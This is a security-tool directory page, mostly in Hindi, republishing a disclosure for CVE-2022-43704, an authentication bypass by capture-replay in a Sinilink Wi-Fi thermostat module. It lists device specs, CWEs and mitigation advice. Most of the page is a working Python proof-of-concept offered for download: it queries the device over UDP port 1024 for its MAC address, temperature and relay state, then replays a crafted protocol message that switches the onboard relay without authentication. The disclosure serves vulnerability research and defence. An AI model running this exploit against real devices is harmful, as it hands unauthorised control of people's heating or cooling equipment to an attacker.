Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-43704 — Sinilink XY-WFTX वाईफाई रिमोट थर्मोस्टेट मॉड्यूल तापमान नियंत्रक | Kitploit
उपकरण/GitHubGitHub/9lyph/cve-2022-43704
प्रमाणीकरण और प्राधिकरणएम्बेडेड सिस्टम सुरक्षापैकेट स्निफिंग और विश्लेषणटोहीIoT सुरक्षाभेद्यता विश्लेषणशोषणवायरलेस सुरक्षापेनिट्रेशन टेस्टिंगहार्डवेयर और IoT सुरक्षा
GitHub9lyph/cve-2022-43704
521 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-43704

Sinilink XY-WFTX वाईफाई रिमोट थर्मोस्टेट मॉड्यूल तापमान नियंत्रक

रिपॉजिटरी देखें

CVE-2022-43704 - गैर-एंडपॉइंट द्वारा सुलभ चैनल / कैप्चर-रीप्ले द्वारा प्रमाणीकरण बाईपास

सिनीलिंक XY-WFTX वाई-फाई रिमोट थर्मोस्टेट मॉड्यूल तापमान नियंत्रक

शीर्षक

sinilink

उत्पाद दस्तावेज़ीकरण

  • एप्लिकेशन

  • उपयोगकर्ता मार्गदर्शिका

हार्डवेयर

डेटाशीट(ें)

ESP8285

Buck Converter

फर्मवेयर

उत्पाद विवरण

root@kitploit:~
Overview

WIFI Remote Thermostat High Precision Temperature Controller Module Cooling 
and Heating APP Temperature Collection XY-WFT1 WFTX

Technical Parameters

Temperature display: digital tube display
Supply voltage: DC 6~30V
USB power supply: support
Temperature control range: -40~110°C
Temperature control accuracy: 0.1℃
NTC temperature measurement range: -40~110℃
Whether to support 18B20: Yes (-40~110°℃)
Output type: relay switch, current within 10A
Alarm notification: support WeChat alarm notification
Cloud data record: 15 days cloud record, can be exported at any time
Timer switch function: support

संदर्भ

MITRE

[Exploit-DB]

निर्माता

Sinilink.com

अनुसंधान

  • उत्पाद वेबसॉकेट का उपयोग करके ws://mq.sinilink.com:8085/mqtt पर कम्युनिकेशन सेट करता है।
  • यह एंडपॉइंट MQTT ब्रोकर के रूप में उपयोग होता है और यह अप्रमाणित है।

आक्रमण सतह मानचित्र

निष्कर्ष

गैर-एंडपॉइंट द्वारा सुलभ चैनल

  • सिनीलिंक वाई-फाई रिमोट थर्मोस्टेट, फर्मवेयर V1.3.6 चलाने वाला, एक हमलावर को MQTT का उपयोग करके संवाद करने की आवश्यकता को दरकिनार करने की अनुमति देता है, बल्कि सीधे लक्ष्य उपकरण से इंटरफेस करके सिनीलिंक प्रोटोकॉल कमांड को रीप्ले करना संभव है। यह बदले में एक हमले को मोबाइल एप्लिकेशन के माध्यम से प्रमाणीकरण की आवश्यकता के बिना ऑनबोर्ड रिले को नियंत्रित करने की अनुमति देता है।
  • लक्ष्य उपकरण को 'मैनुअल मोड' में होना आवश्यक है, जिसमें 'पावर ऑन, क्लोज़' एक पूर्व-आवश्यकता है।

पूर्व-आवश्यक सेटअप

कमजोरी भेद्यता

  • CWE-300: गैर-एंडपॉइंट द्वारा सुलभ चैनल
  • CWE-294: कैप्चर-रीप्ले द्वारा प्रमाणीकरण बाईपास

ज्ञात प्रभावित सॉफ्टवेयर कॉन्फ़िगरेशन

  • V1.3.6

POC कोड

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

निवारण कदम

  • संचार चैनल के प्रत्येक छोर पर संस्थाओं की पहचान को पर्याप्त रूप से सत्यापित करें। अपर्याप्त या असंगत सत्यापन के परिणामस्वरूप किसी भी संचार करने वाली इकाई की अपर्याप्त या गलत पहचान हो सकती है। इसके नकारात्मक परिणाम हो सकते हैं जैसे कि चैनल के दूसरे छोर पर इकाई पर गलत विश्वास। एक हमलावर इसका लाभ उठाकर संचार करने वाली संस्थाओं के बीच हस्तक्षेप कर सकता है और मूल इकाई के रूप में प्रतिरूपित कर सकता है। पर्याप्त पहचान सत्यापन के अभाव में, ऐसा हमलावर संभावित रूप से मूल संस्थाओं के बीच संचार को सुन सकता है और संशोधित कर सकता है।

Pwnage

खोजकर्ता/श्रेय:

Victor Hanna of Exploit Security

मुझे फॉलो करें

Mastodon Linkedin Youtube

टूल डाउनलोड करें